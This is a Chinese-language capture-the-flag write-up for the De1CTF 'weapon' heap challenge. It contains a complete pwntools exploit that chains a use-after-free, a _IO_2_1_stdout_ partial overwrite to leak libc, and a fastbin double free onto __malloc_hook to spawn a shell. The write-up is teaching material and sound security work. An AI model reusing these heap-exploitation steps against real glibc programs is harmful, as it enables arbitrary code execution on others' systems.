De1ctf收穫:用_IO_2_1_stdout_泄露libc地址 weapon的writeup

GitHub

例行公事


可以看出保護全開


進行分析

可以發現程序功能很簡單

  1. create
  2. delete
  3. rename
create

限定大小最大隻能是0x60
在這裏插入圖片描述
index只能是0-9但是是自個輸入的

存在一個結構,struct[0] = size,struct[1] = ptr

readn函數沒有用\x00截斷

delete

中間index的判斷有問題,且存在uaf

rename

根據之前存儲的size和ptr進行讀取


利用方法

  1. 申請多個塊,且在塊中構造塊
	create(0x10,0,p64(0)+p64(0x41))
	create(0x60,1,'a'*0x20+p64(0)+p64(0x41))
	create(0x30,2,'a')
	create(0x30,3,'a')
	create(0x30,4,'a')
  1. 因爲要利用uaf漏洞,所以要讓塊進入fastbin鏈表,且0x60的塊也必須進入fastbin鏈表,爲了之後的利用
	delete(1)
	delete(2)
	delete(3)
  1. 利用idx爲3的塊的指針,分配塊到我們構造的假塊上,修改idx爲1的塊的size,再次將其free,這時候idx爲1的塊在fastbin的0x60的鏈表中,同時也在unsorted bin的鏈表中,因此其fd與bk都存放着libc的地址
	rename(3,'\x10')
	create(0x30,3,'a')
	create(0x30,2,p64(0))
	rename(2,p64(0)+p64(0xb1))
	delete(1)	#爲了讓這一步順利,要繞過prev_inuse(nextchunk) == 1,所以塊的大小要構造好
  1. 再把塊的size改回來,同時將libc地址的最低兩字節覆蓋成_IO_2_1_stdout_附近的地址,該地址存在一個size爲0x7f的塊,同時該塊的data與足以覆蓋我們想要覆蓋的結構
	rename(2,p64(0)+p64(0x71))
	rename(1,'\xdd\xa5')	#因爲只有低三位是確定的,這一步需要運氣,成功的機率爲1/16
	create(0x60,4,'')
  1. 分配塊到該區域,同時覆蓋目標結構的flag以及_IO_write_base,詳情看大佬的博客,得到libc地址
    https://hpasserby.me/post/8e1cd5dc.html#泄露libc
	create(0x60,5,'')	#0xfbad1800
	rename(5,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
	io.recv(0x40)
	libc_base = u64(io.recv(8))-(0x7f35bc64a600-0x7f35bc285000)	#這裏在gdb中用查看一下當前libc基地址然後算一下偏移就得到了
	libc.address = libc_base
	log.success('libc base:'+hex(libc_base))
	one_gadget = libc_base + 0xf1147
  1. 用double free漏洞,分配塊到malloc_hook
	create(0x60,0,'a',1)
	create(0x60,1,'a',1)
	delete(0,1)
	delete(1,1)
	delete(0,1)
	create(0x60,0,p64(libc.symbols['__malloc_hook']-0x13),1)
	create(0x60,1,'a',1)
	create(0x60,1,'a',1)
	create(0x60,2,'a'*0x3+p64(one_gadget),1)
  1. 觸發malloc,getshell

exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io = 0
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size,idx,name,choice=0):
	if choice == 0:
		io.recvuntil('choice >> \n')
		io.sendline('1')
		io.recvuntil('wlecome input your size of weapon: ')
		io.sendline(str(size))
		io.recvuntil('input index: ')
		io.sendline(str(idx))	
		io.recvuntil('input your name:\n')
		io.sendline(name)
	else:
		io.recvuntil('choice >> ')
		io.sendline('1')
		io.recvuntil('wlecome input your size of weapon: ')
		io.sendline(str(size))
		io.recvuntil('input index: ')
		io.sendline(str(idx))	
		io.recvuntil('input your name:')
		io.sendline(name)
	
def delete(idx,choice=0):
	if choice == 0:
		io.recvuntil('choice >> \n')
		io.sendline('2')
		io.recvuntil('input idx :')
		io.sendline(str(idx))
	else:
		io.recvuntil('choice >> ')
		io.sendline('2')
		io.recvuntil('input idx :')
		io.sendline(str(idx))
	
def rename(idx,content):
	io.recvuntil('choice >> \n')
	io.sendline('3')
	io.recvuntil('input idx: ')
	io.sendline(str(idx))
	io.recvuntil('new content:\n')
	io.send(content)

def main():
	global io
	io = process('./pwn')
	#io = remote('139.180.216.34',8888)
	create(0x10,0,p64(0)+p64(0x41))
	create(0x60,1,'a'*0x20+p64(0)+p64(0x41))
	create(0x30,2,'a')
	create(0x30,3,'a')
	create(0x30,4,'a')
	delete(1)
	delete(2)
	delete(3)
	rename(3,'\x10')
	create(0x30,3,'a')
	create(0x30,2,p64(0))
	rename(2,p64(0)+p64(0xb1))
	delete(1)
	rename(2,p64(0)+p64(0x71))
	rename(1,'\xdd\xa5')
	create(0x60,4,'')
	create(0x60,5,'')	#0xfbad1800
	rename(5,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
	io.recv(0x40)
	libc_base = u64(io.recv(8))-(0x7f35bc64a600-0x7f35bc285000)
	libc.address = libc_base
	log.success('libc base:'+hex(libc_base))
	one_gadget = libc_base + 0xf1147
	create(0x60,0,'a',1)
	create(0x60,1,'a',1)
	delete(0,1)
	delete(1,1)
	delete(0,1)
	create(0x60,0,p64(libc.symbols['__malloc_hook']-0x13),1)
	create(0x60,1,'a',1)
	create(0x60,1,'a',1)
	create(0x60,2,'a'*0x3+p64(one_gadget),1)
	io.sendline('1')
	io.sendline('2')
	io.sendline('3')
	io.sendline('cat flag')
	io.interactive()
	
if __name__ == '__main__':
	while True:
		try:
			main()
			break
		except:
			io.kill()
			#io.close()
			continue
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章